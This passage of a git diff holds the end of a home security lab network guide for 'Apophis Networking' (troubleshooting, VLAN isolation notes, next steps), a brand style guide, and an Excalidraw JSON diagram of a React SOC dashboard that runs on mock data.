400) connected via pfSense VM +- VMs grouped by VLAN with IP addresses + +**Visual Style** (Apophis Branding): +- Use crimson (#D72638) for Red Team components +- Use cyber blue (#0056B3) for Blue Team components +- Use silver (#E0E0E2) for infrastructure +- Use obsidian (#1B1B1E) for victim network +- Sharp corners (no rounded edges) + +--- + +## Troubleshooting + +### Issue: VMs can't communicate across VLANs +- **Check**: pfSense firewall rules allow traffic +- **Check**: VLAN tags correctly assigned in Proxmox VM config +- **Check**: Cisco switch trunk allows all VLANs + +### Issue: Security Onion not seeing traffic +- **Check**: SPAN/mirror configured on switch or pfSense +- **Check**: Promiscuous mode enabled on monitoring interface +- **Check**: Suricata/Zeek services running + +### Issue: Domain join fails (VLAN 400) +- **Check**: DC01 DNS configured (10.10.4.10) +- **Check**: pfSense allows DNS/Kerberos (ports 53, 88, 389) +- **Check**: Time sync between DC01 and workstations + +### Issue: Kali can't reach victim network +- **Expected**: By default, VLAN 200 → 400 is blocked +- **Fix**: Enable pfSense rule per lab module requirements + +--- + +## Notes + +- **Isolation**: Red Team (VLAN 200) is isolated from victim network by default +- **Lab Control**: Enable/disable Red Team access via pfSense firewall rules per module +- **Monitoring**: All inter-VLAN traffic logged for Blue Team analysis +- **Internet Access**: All VLANs can reach Internet via Unifi router NAT (for updates) +- **Management**: Access Proxmox/pfSense from VLAN 100 only + +**Security**: This lab is intentionally vulnerable. Do NOT expose to public Internet. + +--- + +## Next Steps + +1. **Review**: `.claude/MOD1_Secure_Infrastructure.md` for detailed pfSense setup +2. **Deploy**: Follow VM installation guides in each module +3. **Test**: Run connectivity tests before starting MOD2 +4. **Snapshot**: Create baseline snapshots after initial setup + +**"Order from Chaos"** 🐍 - Apophis Networking Security Lab diff --git a/brandguidelines.md b/brandguidelines.md new file mode 100644 index 0000000..cc1a17f --- /dev/null +++ b/brandguidelines.md @@ -0,0 +1,59 @@ +=============================================================================== + APOPHIS NETWORKING | BRAND STYLE GUIDE v1.0 +=============================================================================== +"Order from Chaos" + +1. IDENTITY & MISSION +--------------------- +Name: Apophis Networking +Primary Focus: Small Business Cybersecurity & Network Engineering +Design Philosophy: Tech-Noir. High-contrast, aggressive protection. + Minimalist but high-energy. + +2. CORE COLOR PALETTE +--------------------- +[PRIMARY] Crimson Threat : #D72638 (RGB: 215, 38, 56) +[BG] Obsidian Slate : #1B1B1E (RGB: 27, 27, 30) +[TEXT] Glitch Silver : #E0E0E2 (RGB: 224, 224, 226) +[ACCENT] Cyber Blue : #0056B3 (RGB: 0, 86, 179) + +3. TYPOGRAPHY +------------- +Headings: JetBrains Mono (or any Monospaced font) + - Use for: Titles, Data points, IP addresses, Logs. +Body: Inter or Montserrat (Sans-Serif) + - Use for: Reports, Email body, Long-form text. + +4. VISUAL RULES (DESIGN TOKENS) +------------------------------- +Border Radius : 0px (Always sharp, never rounded) +Borders : 1px Solid #E0E0E2 (Low opacity for subtle UI) +Backgrounds : Deep Black/Obsidian for high-contrast impact. +Gradient : 90deg Linear: #D72638 -> #0056B3 + +5. LOGO CONCEPT +--------------- +Symbol: A crimson serpent (Apophis) coiled into a shield shape. +Center: A hexagonal network node. +Style: Metallic/Glowing against dark backgrounds. + +6. TONE OF VOICE +---------------- +Direct, technical, and precise. +Avoid marketing fluff. Focus on perimeter defense and network resilience. + +7. CSS / TAILWIND CONFIG +------------------------ +colors: { + ap_red: '#D72638', + ap_black: '#1B1B1E', + ap_silver: '#E0E0E2', + ap_blue: '#0056B3', +}, +fontFamily: { + mono: ['JetBrains Mono', 'monospace'], + sans: ['Inter', 'sans-serif'], +} + +=============================================================================== +[EOF] \ No newline at end of file diff --git a/dashboard-architecture.excalidraw b/dashboard-architecture.excalidraw new file mode 100644 index 0000000..3e5ffd4 --- /dev/null +++ b/dashboard-architecture.excalidraw @@ -0,0 +1,1294 @@ +{ + "type": "excalidraw", + "version": 2, + "source": "https://excalidraw.com", + "elements": [ + { + "id": "title", + "type": "text", + "x": 100, + "y": 20, + "width": 700, + "height": 45, + "angle": 0, + "strokeColor": "#c92a2a", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "text": "Apophis SOC Dashboard - Application Architecture", + "fontSize": 32, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "Apophis SOC Dashboard - Application Architecture", + "lineHeight": 1.25 + }, + { + "id": "browser", + "type": "ellipse", + "x": 350, + "y": 100, + "width": 200, + "height": 80, + "angle": 0, + "strokeColor": "#1971c2", + "backgroundColor": "#e7f5ff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": [ + {"type": "text", "id": "browser-text"} + ], + "updated": 1, + "link": null, + "locked": false + }, + { + "id": "browser-text", + "type": "text", + "x": 360, + "y": 125, + "width": 180, + "height": 25, + "angle": 0, + "strokeColor": "#1971c2", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "text": "Web Browser", + "fontSize": 18, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "browser", + "originalText": "Web Browser", + "lineHeight": 1.25 + }, + { + "id": "vite", + "type": "rectangle", + "x": 325, + "y": 220, + "width": 250, + "height": 80, + "angle": 0, + "strokeColor": "#7048e8", + "backgroundColor": "#d0bfff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": [ + {"type": "text", "id": "vite-text"} + ], + "updated": 1, + "link": null, + "locked": false + }, + { + "id": "vite-text", + "type": "text", + "x": 335, + "y": 230, + "width": 230, + "height": 55, + "angle": 0, + "strokeColor": "#7048e8", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "text": "Vite 7 Dev Server\nlocalhost:5173\nHMR + Fast Refresh", + "fontSize": 14, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "vite", + "originalText": "Vite 7 Dev Server\nlocalhost:5173\nHMR + Fast Refresh", + "lineHeight": 1.25 + }, + { + "id": "app", + "type": "rectangle", + "x": 300, + "y": 340, + "width": 300, + "height": 100, + "angle": 0, + "strokeColor": "#c92a2a", + "backgroundColor": "#ffa8a8", + "fillStyle": "solid", + "strokeWidth": 3, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": [ + {"type": "text", "id": "app-text"} + ], + "updated": 1, + "link": null, + "locked": false + }, + { + "id": "app-text", + "type": "text", + "x": 310, + "y": 350, + "width": 280, + "height": 75, + "angle": 0, + "strokeColor": "#c92a2a", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "text": "App.jsx (Root Component)\nReact 19 + State Management\nGrid Layout (12-col, 3-row)\nAuto-refresh intervals", + "fontSize": 14, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "app", + "originalText": "App.jsx (Root Component)\nReact 19 + State Management\nGrid Layout (12-col, 3-row)\nAuto-refresh intervals", + "lineHeight": 1.25 + }, + { + "id": "header", + "type": "rectangle", + "x": 50, + "y": 500, + "width": 180, + "height": 90, + "angle": 0, + "strokeColor": "#1971c2", + "backgroundColor": "#a5d8ff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": [ + {"type": "text", "id": "header-text"} + ], + "updated": 1, + "link": null, + "locked": false + }, + { + "id": "header-text", + "type": "text", + "x": 60, + "y": 510, + "width": 160, + "height": 65, + "angle": 0, + "strokeColor": "#1971c2", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "text": "Header\n• Logo\n• System Clock\n• Threat Level", + "fontSize": 13, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "header", + "originalText": "Header\n• Logo\n• System Clock\n• Threat Level", + "lineHeight": 1.25 + }, + { + "id": "threatfeed", + "type": "rectangle", + "x": 260, + "y": 500, + "width": 180, + "height": 90, + "angle": 0, + "strokeColor": "#c92a2a", + "backgroundColor": "#ffc9c9", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": [ + {"type": "text", "id": "threatfeed-text"} + ], + "updated": 1, + "link": null, + "locked": false + }, + { + "id": "threatfeed-text", + "type": "text", + "x": 270, + "y": 510, + "width": 160, + "height": 65, + "angle": 0, + "strokeColor": "#c92a2a", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "text": "ThreatFeed\n• Live Alerts\n• Severity Colors\n• Auto-scroll", + "fontSize": 13, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "threatfeed", + "originalText": "ThreatFeed\n• Live Alerts\n• Severity Colors\n• Auto-scroll", + "lineHeight": 1.25 + }, + { + "id": "networktraffic", + "type": "rectangle", + "x": 470, + "y": 500, + "width": 180, + "height": 90, + "angle": 0, + "strokeColor": "#2f9e44", + "backgroundColor": "#b2f2bb", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": [ + {"type": "text", "id": "networktraffic-text"} + ], + "updated": 1, + "link": null, + "locked": false + }, + { + "id": "networktraffic-text", + "type": "text", + "x": 480, + "y": 510, + "width": 160, + "height": 65, + "angle": 0, + "strokeColor": "#2f9e44", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "text": "NetworkTraffic\n• Area Chart\n• Recharts\n• In/Out/Block", + "fontSize": 13, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "networktraffic", + "originalText": "NetworkTraffic\n• Area Chart\n• Recharts\n• In/Out/Block", + "lineHeight": 1.25 + }, + { + "id": "systemhealth", + "type": "rectangle", + "x": 680, + "y": 500, + "width": 180, + "height": 90, + "angle": 0, + "strokeColor": "#1971c2", + "backgroundColor": "#a5d8ff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": [ + {"type": "text", "id": "systemhealth-text"} + ], + "updated": 1, + "link": null, + "locked": false + }, + { + "id": "systemhealth-text", + "type": "text", + "x": 690, + "y": 510, + "width": 160, + "height": 65, + "angle": 0, + "strokeColor": "#1971c2", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "text": "SystemHealth\n• Status Cards\n• Uptime\n• CPU/Memory", + "fontSize": 13, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "systemhealth", + "originalText": "SystemHealth\n• Status Cards\n• Uptime\n• CPU/Memory", + "lineHeight": 1.25 + }, + { + "id": "mitreheatmap", + "type": "rectangle", + "x": 50, + "y": 630, + "width": 180, + "height": 90, + "angle": 0, + "strokeColor": "#7048e8", + "backgroundColor": "#d0bfff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": [ + {"type": "text", "id": "mitreheatmap-text"} + ], + "updated": 1, + "link": null, + "locked": false + }, + { + "id": "mitreheatmap-text", + "type": "text", + "x": 60, + "y": 640, + "width": 160, + "height": 65, + "angle": 0, + "strokeColor": "#7048e8", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "text": "MitreHeatmap\n• ATT&CK Matrix\n• Coverage Grid\n• Color-coded", + "fontSize": 13, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "mitreheatmap", + "originalText": "MitreHeatmap\n• ATT&CK Matrix\n• Coverage Grid\n• Color-coded", + "lineHeight": 1.25 + }, + { + "id": "topthreats", + "type": "rectangle", + "x": 260, + "y": 630, + "width": 180, + "height": 90, + "angle": 0, + "strokeColor": "#c92a2a", + "backgroundColor": "#ffc9c9", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": [ + {"type": "text", "id": "topthreats-text"} + ], + "updated": 1, + "link": null, + "locked": false + }, + { + "id": "topthreats-text", + "type": "text", + "x": 270, + "y": 640, + "width": 160, + "height": 65, + "angle": 0, + "strokeColor": "#c92a2a", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "text": "TopThreats\n• IP Table\n• Attack Count\n• GeoIP Flags", + "fontSize": 13, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "topthreats", + "originalText": "TopThreats\n• IP Table\n• Attack Count\n• GeoIP Flags", + "lineHeight": 1.25 + }, + { + "id": "incidenttracker", + "type": "rectangle", + "x": 470, + "y": 630, + "width": 180, + "height": 90, + "angle": 0, + "strokeColor": "#f08c00", + "backgroundColor": "#ffe8cc", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": [ + {"type": "text", "id": "incidenttracker-text"} + ], + "updated": 1, + "link": null, + "locked": false + }, + { + "id": "incidenttracker-text", + "type": "text", + "x": 480, + "y": 640, + "width": 160, + "height": 65, + "angle": 0, + "strokeColor": "#f08c00", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "text": "IncidentTracker\n• IR Pipeline\n• Status Flow\n• Priority Levels", + "fontSize": 13, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "incidenttracker", + "originalText": "IncidentTracker\n• IR Pipeline\n• Status Flow\n• Priority Levels", + "lineHeight": 1.25 + }, + { + "id": "vulnsummary", + "type": "rectangle", + "x": 680, + "y": 630, + "width": 180, + "height": 90, + "angle": 0, + "strokeColor": "#e03131", + "backgroundColor": "#ffc9c9", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": [ + {"type": "text", "id": "vulnsummary-text"} + ], + "updated": 1, + "link": null, + "locked": false + }, + { + "id": "vulnsummary-text", + "type": "text", + "x": 690, + "y": 640, + "width": 160, + "height": 65, + "angle": 0, + "strokeColor": "#e03131", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "text": "VulnSummary\n• Donut Chart\n• CVSS Severity\n• Counts", + "fontSize": 13, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "vulnsummary", + "originalText": "VulnSummary\n• Donut Chart\n• CVSS Severity\n• Counts", + "lineHeight": 1.25 + }, + { + "id": "mockdata", + "type": "rectangle", + "x": 300, + "y": 780, + "width": 300, + "height": 100, + "angle": 0, + "strokeColor": "#2f9e44", + "backgroundColor": "#b2f2bb", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": [ + {"type": "text", "id": "mockdata-text"} + ], + "updated": 1, + "link": null, + "locked": false + }, + { + "id": "mockdata-text", + "type": "text", + "x": 310, + "y": 790, + "width": 280, + "height": 75, + "angle": 0, + "strokeColor": "#2f9e44", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "text": "mockData.js (Data Layer)\n• Alert generators\n• Traffic simulators\n• MITRE ATT&CK data\n• Random realistic values", + "fontSize": 14, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "mockdata", + "originalText": "mockData.js (Data Layer)\n• Alert generators\n• Traffic simulators\n• MITRE ATT&CK data\n• Random realistic values", + "lineHeight": 1.25 + }, + { + "id": "arrow-browser-vite", + "type": "arrow", + "x": 450, + "y": 180, + "width": 0, + "height": 40, + "angle": 0, + "strokeColor": "#495057", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "points": [[0, 0], [0, 40]], + "lastCommittedPoint": null, + "startBinding": null, + "endBinding": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "elbowed": false + }, + { + "id": "arrow-vite-app", + "type": "arrow", + "x": 450, + "y": 300, + "width": 0, + "height": 40, + "angle": 0, + "strokeColor": "#495057", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "points": [[0, 0], [0, 40]], + "lastCommittedPoint": null, + "startBinding": null, + "endBinding": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "elbowed": false + }, + { + "id": "arrow-app-header", + "type": "arrow", + "x": 300, + "y": 390, + "width": 160, + "height": 110, + "angle": 0, + "strokeColor": "#1971c2", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "points": [[0, 0], [-160, 0], [-160, 110]], + "lastCommittedPoint": null, + "startBinding": null, + "endBinding": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "elbowed": true + }, + { + "id": "arrow-app-threatfeed", + "type": "arrow", + "x": 350, + "y": 440, + "width": 0, + "height": 60, + "angle": 0, + "strokeColor": "#c92a2a", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "points": [[0, 0], [0, 60]], + "lastCommittedPoint": null, + "startBinding": null, + "endBinding": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "elbowed": false + }, + { + "id": "arrow-app-network", + "type": "arrow", + "x": 450, + "y": 440, + "width": 110, + "height": 60, + "angle": 0, + "strokeColor": "#2f9e44", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "points": [[0, 0], [110, 0], [110, 60]], + "lastCommittedPoint": null, + "startBinding": null, + "endBinding": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "elbowed": true + }, + { + "id": "arrow-app-system", + "type": "arrow", + "x": 600, + "y": 390, + "width": 170, + "height": 110, + "angle": 0, + "strokeColor": "#1971c2", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "points": [[0, 0], [170, 0], [170, 110]], + "lastCommittedPoint": null, + "startBinding": null, + "endBinding": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "elbowed": true + }, + { + "id": "arrow-app-mitre", + "type": "arrow", + "x": 300, + "y": 390, + "width": 160, + "height": 240, + "angle": 0, + "strokeColor": "#7048e8", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "points": [[0, 0], [-160, 0], [-160, 240]], + "lastCommittedPoint": null, + "startBinding": null, + "endBinding": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "elbowed": true + }, + { + "id": "arrow-app-topthreats", + "type": "arrow", + "x": 350, + "y": 440, + "width": 0, + "height": 190, + "angle": 0, + "strokeColor": "#c92a2a", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "points": [[0, 0], [0, 190]], + "lastCommittedPoint": null, + "startBinding": null, + "endBinding": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "elbowed": false + }, + { + "id": "arrow-app-incident", + "type": "arrow", + "x": 450, + "y": 440, + "width": 110, + "height": 190, + "angle": 0, + "strokeColor": "#f08c00", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "points": [[0, 0], [110, 0], [110, 190]], + "lastCommittedPoint": null, + "startBinding": null, + "endBinding": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "elbowed": true + }, + { + "id": "arrow-app-vuln", + "type": "arrow", + "x": 600, + "y": 390, + "width": 170, + "height": 240, + "angle": 0, + "strokeColor": "#e03131", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "points": [[0, 0], [170, 0], [170, 240]], + "lastCommittedPoint": null, + "startBinding": null, + "endBinding": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "elbowed": true + }, + { + "id": "arrow-mockdata-app", + "type": "arrow", + "x": 450, + "y": 780, + "width": 0, + "height": 340, + "angle": 0, + "strokeColor": "#2f9e44", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "dashed", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "points": [[0, 0], [0, -340]], + "lastCommittedPoint": null, + "startBinding": null, + "endBinding": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "elbowed": false + }, + { + "id": "tech-stack-title", + "type": "text", + "x": 950, + "y": 100, + "width": 250, + "height": 30, + "angle": 0, + "strokeColor": "#495057", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "text": "Technology Stack", + "fontSize": 18, + "fontFamily": 1, + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Technology Stack", + "lineHeight": 1.25 + }, + { + "id": "tech-stack-text", + "type": "text", + "x": 950, + "y": 145, + "width": 300, + "height": 400, + "angle": 0, + "strokeColor": "#495057", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1, + "isDeleted": false, + "boundElements": null, + "updated": 1, + "link": null, + "locked": false, + "text": "Frontend:\n• React 19 (latest)\n• Vite 7 (build tool)\n• Tailwind CSS v4 (alpha)\n• Recharts (data viz)\n• date-fns (time formatting)\n\nStyling:\n• Tech-Noir aesthetic\n• Sharp corners (0px radius)\n• Crimson accent (#D72638)\n• Dark theme (#1B1B1E)\n• Custom Tailwind tokens\n\nData Management:\n• Client-side state (useState)\n• Auto-refresh intervals:\n - Alerts: 3-6s\n - Traffic/Systems: 15s\n - MITRE/Incidents: 30s\n• Mock data generators\n\nLayout:\n• 12-column CSS Grid\n• 3 rows, responsive\n• Flexible panel sizing\n• No border-radius (brand)\n\nFuture Integration:\n• Security Onion export\n• Live SIEM data feed\n• Real-time WebSocket", + "fontSize": 13, + "fontFamily": 1, + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Frontend:\n• React 19 (latest)\n• Vite 7 (build tool)\n• Tailwind CSS v4 (alpha)\n• Recharts (data viz)\n• date-fns (time formatting)\n\nStyling:\n• Tech-Noir aesthetic\n• Sharp corners (0px radius)\n• Crimson accent (#D72638)\n• Dark theme (#1B1B1E)\n• Custom Tailwind tokens\n\nData Management:\n• Client-side state (useState)\n• Auto-refresh intervals:\n - Alerts: 3-6s\n - Traffic/Systems: 15s\n - MITRE/Incidents: 30s\n• Mock data generators\n\nLayout:\n• 12-column CSS Grid\n• 3 rows, responsive\n• Flexible panel sizing\n• No border-radius (brand)\n\nFuture Integration:\n• Security Onion export\n• Live SIEM data feed\n• Real-time WebSocket", + "lineHeight": 1.25 + 